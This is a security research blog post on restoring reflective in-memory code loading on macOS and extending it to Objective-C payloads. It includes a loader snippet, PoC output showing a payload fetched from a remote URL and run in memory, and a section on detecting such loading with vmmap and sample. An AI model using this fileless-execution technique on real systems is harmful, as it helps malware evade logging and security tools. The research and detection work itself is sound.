• Objective-See
    a non-profit 501(c)(3) foundation.
    • About
    • #OBTS
    • Book Series
    • Objective-We
    • Our Store/Swag
    • Malware Collection
  • blog
  • tools

Restoring Reflective Code Loading on macOS (Part II)
Apple silently 'broke' in-memory code loading on macOS ...let's restore it!
by: Patrick Wardle / November 24, 2025

The Objective-See Foundation is supported by:





Note:

Parts of this research were originally presented at #OBTS v7.0. In this blog we touch on some of the main highlights and takeaways from the talk, plus provide an open-source PoC.

Most importantly though we cover several important updates, such as support for “reflective” Objective-C payloads.

▪️ (Updated) Open-Source Proof of Concept: Reflective Code Loader.

▪️ Orignal Slides: “Mirror Mirror: Restoring Reflective Code Loading on macOS”

Introduction

At #OBTS v7.0 I discussed restoring reflective code loading on macOS:

After the talk, I decided to publish a detailed write-up, beginning with Part I. In that post, I walked through the history of reflective code loading on macOS and explained how Apple recently removed their in-memory loading APIs (e.g. NSLinkModule), effectively preventing such loading (at least at the API level):

macOS malware often (ab)uses APIs such as NSCreateObjectFileImageFromMemory, NSLinkModule etc) to execute in-memory payloads.

Apple has recently updated dyld3 (+these APIs), such that the in-memory payload is now first/always written out to disk 💾

See: https://t.co/vDuXLs6LXD pic.twitter.com/ALyFKSGRco

— Patrick Wardle (@patrickwardle) July 15, 2022

However, at #OBTS (and in Part I) showed how one could rather elegantly incorporate Apple’s older loader code into one’s own loader to fully restore reflective code loading, even on macOS 15 (and, as it turns out, on macOS 26 as well):


% ./PoC https://file.io/IAKV6NC6JDC8

macOS Reflective Code Loader

[+] downloading from remote URL...
    payload now in memory (size: 68528), ready for loading/linking...

Press any key to continue...

dyld: 'ImageLoaderMachO::instantiateFromMemory' completed (image addr: 0x600000378180)
dyld: 'image->link' completed

[In-Memory Payload] Hello (reflectively loaded) World!
[In-Memory Payload] I'm loaded at: 0x10b290000

dyld: 'image->runInitializers' completed

Done!
Press any key to exit...

Here, in part II, we’ll:

  • Add support for Objective-C payloads
  • Discuss various methods of detecting reflective code loading

Objective-C Payloads

In the first part of this blog post series, our in-memory payloads were all native C code. This was not a coincidence. Why? Well, it turns out that even the simplest Objective-C payload would crash.

Take, for example, the following snippet that simply builds an Objective-C (NSString) object and prints it out:

__attribute__((constructor))
void my_constructor(void) {
    ...

    NSString* msg = 
    @"[In-Memory Payload] Hello (reflectively loaded Obj-C compatible) World!\n";

    printf("%s", msg.UTF8String); 
}

If we compile this into a Mach-O binary and attempt to reflectively load it from a remote URL, it crashes hard:


% ./PoC <URL of Objective-C payload>

*** NSForwarding: warning: selector (0x1030f0a5b) for message 'UTF8String' does not match selector known to Objective C runtime (0x20d799473)-- abort


*** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[__NSCFConstantString UTF8String]: unrecognized selector sent to instance 0x1030f4020'

The reason is straightforward. In a nutshell, the dynamic loader (dyld) whose code we’ve embedded into our reflective loader doesn’t (really) know anything about Objective-C.

And unless Objective-C classes and methods are properly “registered” with the Objective-C runtime, any attempt to invoke them will crash. This leads to errors like the ones shown earlier, including:

  • “does not match selector known to Objective C runtime”
  • “unrecognized selector sent to instance”
Note:
In the world of Objective-C, a "selector" is essentially the name of a method. More specifically, a selector ("SEL") is a unique identifier that represents a method's name and its signature in Objective-C. It's how the runtime refers to methods internally.

Normally, dyld calls into the Objective-C runtime library, libobjc.A.dylib (located in /usr/lib/), to handle all the necessary registrations so that referenced Objective-C classes and methods are properly registered and everything runs smoothly. Unfortunately, since libobjc.A.dylib (unlike dyld) is closed-source, we cannot compile it into our reflective loader.

Luckily, as pointed out by Ryan Wincey, researchers (such as Stanislaw Pankevich) working on dynamically adding Objective-C and Swift code to LLVM had already largely solved this problem.

A few months ago, I hit a wall trying to reflectively load ObjC libraries with @patrickwardle’s recent macOS reflective loader. The fix? A completely unexpected LLM prompt. 🔥

Problem solved — full write-up here https://t.co/EfgpXL74we https://t.co/moPJIdfYlm

— b0yd (@rwincey) July 20, 2025
Note:

You can read Ryan’s writeup here: “Obj-C Reflective Code Loading on macOS via AI”

Specifically, in an excellent article titled “LLVM JIT, Objective-C and Swift on macOS: knowledge dump,” Stanislaw proposed (and implemented) a method to “activate” JIT’d Objective-C components by explicitly registering them with the Objective-C runtime. This involves:

  1. Registering selectors

  2. Registering classes (and super classes)

Note:

We have to register all classes and methods, that includes both our own custom classes and their methods, but also Apple ones that our code invokes (e.g. the NSString class and UTFString method).

Selectors, as noted earlier, are essentially names that identify a method. Recall that in our simple Objective-C payload we invoked the NSString class’s method UTF8String. The selector is the string "UTF8String". However, since we didn’t register this selector with the Objective-C runtime, the payload crashed with the following error:

reason: '-[__NSCFConstantString UTF8String]: unrecognized selector sent to instance 0x1030f4020'

In a compiled Mach-O, the compiler emits Objective-C metadata for invoked methods (such as UTF8String) into various sections, including __objc_methname and __objc_selrefs.

Using a tool such as MachOView, we can inspect these sections in our compiled Objective-C “Hello World” reflective payload:

The __objc_methname section

The __objc_selrefs section

As Stanislaw proposed, a loader can register all selectors in the payload with the Objective-C runtime by performing the following steps:

  1. Locate the __objc_selrefs section

  2. For each selector in this section:

    2a. Get the selector’s name

    2b. Register it by name

    2c. Update the selector pointer with the newly registered one

To get the name of a selector (found in the __objc_selrefs section), one can invoke sel_getName and then register it with sel_registerName:

//iterate over all selectors in __objc_selrefs
// for each, invoke sel_getName, and then sel_registerName (updating the selector with the result)
for (uint8_t *cursor = sectionStart;
     cursor < (sectionStart + selRefsSectionSize);
     cursor = cursor + sizeof(SEL)) {

        SEL *selector = (SEL *)cursor;
        const char *name = sel_getName(*selector);

        *selector = sel_registerName(name);
}

At this point, all the selectors in our Objective-C payload have been registered. Next, let’s turn our attention to registering the Objective-C classes.

Again, Stanislaw proposed that to register each class one could:

  1. Locate the __objc_classlist section
  2. For each class in this section, call objc_readClassPair
Note:

You can find the full implementation of both the selector and class registration logic in the PoC’s ObjCRuntime.

As noted in the code, it is adapted from the “llvm-jit-objc” project.

Hooray — all selectors and classes have now been registered with the Objective-C runtime! This means our reflective loader can finally support Objective-C payloads, including our simple “Hello World” example:


% ./PoC <URL of Objective-C payload>

macOS Reflective Code Loader

[+] downloading from remote URL...
    payload now in memory (size: 68528), ready for loading/linking...

Press any key to continue...

dyld: 'ImageLoaderMachO::instantiateFromMemory' completed (image addr: 0x600000378180)
dyld: 'image->link' completed

[In-Memory Payload] Hello (reflectively loaded Obj-C compatible) World!
[In-Memory Payload] I'm loaded at: 0x10b290000

dyld: 'image->runInitializers' completed

Done!
Press any key to exit...


Note:
You should also register any superclasses and categories. Consult the PoC code for details, but this largely follows a similar approach, using the __objc_superrefs section for the former, and the __objc_catlist section for the latter.

Now let’s turn our attention to detection. Whenever we discuss offensive capabilities, it’s always nice to show how defenders can spot their use!

Detection

If you’re as old as me, you might remember that back in the OS X days one could enumerate the loaded libraries of a remote process via its task_dyld_info structure (which contained a pointer to a dyld_all_image_infos structure listing all loaded libraries). However, this approach is no longer useful for two reasons:

  1. You can now only read a remote process’s task_dyld_info if you possess the private com.apple.system-task-ports.read entitlement.
  2. Reflectively loaded in-memory payloads aren’t added to the dyld_all_image_infos list anyway.

Well then, what about system log messages — or better yet, events from macOS’s Endpoint Security framework?

Unfortunately, neither helps. In my testing, reflective loading generated zero system log messages and zero Endpoint Security events (I was at least expecting an ES_EVENT_TYPE_NOTIFY_MMAP event). Bummer!

Next, I turned my attention to vmmap. This built-in macOS utility has special Apple-only entitlements (specifically com.apple.system-task-ports.read) that allow it to print the memory mappings of remote processes.

Let’s execute our loader and reflectively load and run an in-memory payload that prints out its address:

__attribute__((constructor))
void my_constructor(void) {
    
    ...
   
    void* func_address = (void*)my_constructor;
    size_t page_size = getpagesize();
    void* page_address = (void*)((uintptr_t)func_address & ~(page_size - 1));
    
    printf("[In-Memory Payload] I'm loaded at: %p\n\n", page_address);

}

Say this prints out the address 0x104c20000 (obviously this will vary each run). Now let’s run vmmap with the process ID of our loader… what do we see?


% vmmap `pgrep PoC`

Process: PoC [5631]
...

==== Non-writable regions for process 5631
...

dylib   104c20000-104c24000   [16K    16K    16K     0K] r-x/rwx SM=ZER  
dylib   104c24000-104c28000   [16K    16K    16K     0K] r--/rwx SM=ZER  
dylib   104c2c000-104c34000   [32K    32K    32K     0K] r--/rwx SM=ZER

STACK GUARD  1672f4000-16aaf8000  [56.0M     0K     0K     0K] ---/rwx SM=NUL 

__TEXT  192ad2000-192b55000  [524K   524K     0K     0K] r-x/r-x SM=COW   /usr/lib/dyld
...

In the vmmap output, we can see that starting at 0x104c20000 there are several memory mappings that belong to our reflectively loaded payload. Since there is no file backing these regions, vmmap cannot name them, so it generically labels them as dylib.

Still, this is something — it at least allows us to identify when a process has reflectively loaded an in-memory payload. Unfortunately, vmmap cannot dump a remote process’s memory (for privacy reasons), so you won’t be able to recover the reflectively loaded payload itself. Bummer again!

Another macOS utility that can interact with remote processes is sample (also located in /usr/bin). If we execute sample against our reflective loader, it will give us a stack backtrace of the currently executing threads — including any executing within our reflectively loaded payload.

% sample `pgrep PoC`
Process: PoC [5631]
...

Call graph:
    ...            
    1 mach_msg2_trap  (in libsystem_kernel.dylib) + 8  [0x192e19e34]
    8605 Thread_32409566
      8605 thread_start  (in libsystem_pthread.dylib) + 8  [0x192e560fc]
        8605 _pthread_start  (in libsystem_pthread.dylib) + 136  [0x192e5b2e4]
          8602 ???  (in <unknown binary>)  [0x104c2bcc8]
          ! 8602 sleep  (in libsystem_c.dylib) + 52  [0x192d056f8]
          !   8602 nanosleep  (in libsystem_c.dylib) + 220  [0x192cfc714]
          !     8602 __semwait_signal  (in libsystem_kernel.dylib) + 8  [0x192e1d3c8] 

Here, we can see that sample has printed a stack backtrace for a thread executing inside our reflectively loaded payload. As with vmmap, because the payload exists only in memory and has no backing file, it is given a generic label, in this case: <unknown binary>. And again, while this allows us to detect that a process is using reflectively loaded code, it does not allow us to dump it.

It’s worth reiterating: neither we, nor any 3rd-party security tool running on a default installation of macOS, can dump remote process memory. This means the contents of reflectively loaded payloads are effectively invisible 😣.

Apple’s failure to strike an adequate balance between security and privacy often ends up empowering adversaries while limiting defenders.

Maybe Apple could grant trusted 3rd-party security tools a special entitlement to scan remote process memory?

Given Apple’s stance (prioritizing privacy over security), the practical approach is to ignore the loading mechanism and instead detect the behavior of the payload. Any useful payload (reflective or not) will generate events visible to the Endpoint Security subsystem. For example, a reflectively loaded stealer will trigger file events that can be detected or even blocked.

…still, the binary contents of the reflectively loaded payload will remain inaccessible!

Conclusion:

Today, we continued our deep dive into reflective code loading on macOS, extending our earlier work to show that our reflective loader can now support Objective-C payloads. (A big mahalo to Ryan for his research and code, which is now integrated into the PoC loader!).

We also explored several detection options. Unfortunately, due to Apple’s decision to prioritize privacy over security, these options remain quite limited, meaning that, for now, attackers clearly have the upper hand! 😢

💕 Support:

Love these blog posts? You can support them via my Patreon page!



This website uses cookies to improve your experience.
  • Signup for our newsletter »